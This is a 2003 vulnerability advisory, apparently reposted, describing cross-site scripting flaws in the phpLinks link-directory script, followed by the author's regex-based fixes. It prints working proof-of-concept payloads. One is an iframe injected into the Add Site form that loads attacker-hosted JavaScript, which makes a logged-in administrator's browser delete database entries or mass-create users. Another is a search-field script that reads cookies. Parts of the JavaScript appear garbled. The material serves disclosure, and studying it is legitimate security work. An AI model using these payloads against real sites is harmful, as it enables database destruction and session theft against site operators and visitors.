Multiple Vulnerabilties In PHPLinks

Type securityvulns
Reporter Securityvulns
Modified 2003-01-21T00:00:00


phpLinks is an open source free PHP script. phpLinks allows you to run a very powerful link farm or search engine. phpLinks has multilevel site categorization, infinite threaded search capabilities and more. phpLinks is very simple to setup There lies a fault in the include/add.php script that allows a remote attacker to inject code into the script and have it run as an admin. The vulnerability comes from improper input validation and improper session authentication. Below Is some example code that I have written.

Put this in one of the field on "Add Site" form located at http://blah/phplinks/index.php?show=add&PID= If you inject the code into the Site Title or Site Url field, the code will be ran as soon as a logged in administrator views it.

<iframe src=http://blah/death.html></iframe>

Below is the code for the called file "death.html"

<script language=JavaScript> var i = 10; // This is the number of the user ID to start deleting var BaseURL = "http://victimsite/phplinks/"; + '/admin/reset.php? reset_in=&reset_out=&search_terms=&referrers=&submit='); // this resets the database function Waste() { while (i) { i++; + 'admin/delete_site.php?dbtable=links&ID=' + i + '&sure=Yes'); } } </script> <body onLoad="Waste();">

As you can see, that code (when called by a logged in admin validating sites) is run, the database is in alot of cases going to be left empty. By the way, the dbtable=links can be changed to dbtable=temp in order to affect sites not yet approved etc. On the other hand you can add users to the database and more. Take the following code for example

<iframe src=http://blah/life.html></iframe>

Below is the code for the called file "life.html"

<script language=JavaScript> var i = 1; var BaseURL = "http://victimsite/phplinks/"; function Gluttony() { while (i) { i++; + '/admin/add_site.php?SiteName=JeiAr0wnethTheee' + i + '&SiteURL=http://www.b' + i + 'j.orfd&Description=' + i +'3333333333333333333333333333333333&Category=&Country=Turkey.gif&Email=1@t .' + i + '&UserName=12345' + i + '&Password=12345678&Hint=12345678910&add=' + i + '&sure=Yes'); } } </script> <body onLoad="Gluttony();">

Once again, when a logged in admin goes to validate sites (unless they have a popup killer, JS disabled, etc.) they are gonna be adding MANY users to the database before they really realize what's happening. This also jolt's the server quit a bit by hogging up resources. You can basically change almost anything that the admin can by just injecting code. Also, note that these proof of concept scripts could be altered to supply large numbers of malformed site submissions, and instead make it something worse like popunder windows etc. But I do not feel it would be very good to release a script like that publicly :) Also note that for whatever reason the most updated norton AV does not pick this script up as a window bomb. Maybe it's cause my JavaScript is so bastardized it doesn't recognize the code at all. heheh j/k I put together a quick fix. I am no php guru, so if there is a better way then please correct me :)

In the includes/add.php file find the following

// Handle form submission if(isset($submit_add)){

And right below it paste the following code

////////////////////////////////////////////////////////////////////////// // PHPLinks Critical XSS Vulnerability Fix - By JeiAr - // ////////////////////////////////////////////////////////////////////////// $ip = $REMOTE_ADDR; $info = $HTTP_USER_AGENT; if (ereg('[-!#$%&\'"+\\.<->=?^_`{|}]$', $SiteName)) {$err.= "Please enter A valid Site Name.<BR>";}
if (ereg('[-!#$%&\'"
+\\.<->=?^`{|}]$', $SiteURL)) {$err.= "Please enter A valid Site URL.<BR>";} if (ereg('[-!#$%&\'"+\\.<->=?^_`{|}]$', $Description)) {$err.= "Enter A valid Description.<BR>";}
if (ereg('[-!#$%&\'"
`{|}]$', $Category)) {$err.= "Enter A valid Category.<BR>";} if (ereg('[-!#$%&\'"+\\.<->=?^_`{|}]$', $Country)) {$err.= "Enter A valid Country.<BR>";}
if (ereg('[-!#$%&\'"
+\\.<->=?^`{|}]$', $UserName)) {$err.= "Enter A valid UserName.<BR>";} if (ereg('[-!#$%&\'"+\\.<->=?^_`{|}]$', $PW)) {$err.= "Please enter A valid Password.<BR>";}
if (ereg('[-!#$%&\'"
`{|}]$', $PW2)) {$err.= "Please enter A valid Password.<BR>";} if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $Hint)) {$err.= "Please enter A valid Hint.<BR>";}
if ($err) { echo $err; echo "<b>Possible Hack Attempt!!</b><br>"; echo "<b>$ip</b><br>"; echo "<b>$info</b><br>"; echo "<a href=index.php?show=add>Back</a>"; exit; } /////////////////////////////////////////////////////////////////////////

There is also a much less serious, but similar issue with the search feature. You can basically execute just about any JavaScript or HTML code and maybe more? Here is an example<script>alert(document.cookie)</script> And if you write a script to send many automated malformed search strings, the code will show up with the most searched for terms on the main search page, thus running any code you supply on the sites visitors browsers. Below is a quick fix for that, I basically just ereg the input for invalid metacharacters.

in includes/results.php find the following

if(isset($term) && strlen($term)>0){

Below it place the following

///////////////////////////////////////////////////////////////////////// // PHPLinks XSS Vulnerability Fix - By JeiAr - 01-2003 // ///////////////////////////////////////////////////////////////////////// $ip = $REMOTE_ADDR; $info = $HTTP_USER_AGENT; if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $term)) {$err.= "Please enter A valid Search Term.<BR>";}
if ($err) { echo $err; echo "<b>Possible Hack Attempt!!</b><br>"; echo "<b>$ip</b><br>"; echo "<b>$info</b><br>"; echo "<a href=index.php>Back</a>"; exit; } ////////////////////////////////////////////////////////////////////////

One bad thing about the most searched for keywords feature, is that anyone can put their web page, name, or something obscene as a search term. After clicking submit xxx number of times, they now have whatever they want on your main search page. Not really a security issue, but could be annoying. Don't ya think? And if someone used some CSS they could basically deface the site in a really lame kinda way ..

Note that this has only been tested on the latest version of phplinks. Older versions may not be affected but I kinda doubt it.

JeiAr - CyberArmy Security Research ACAT Team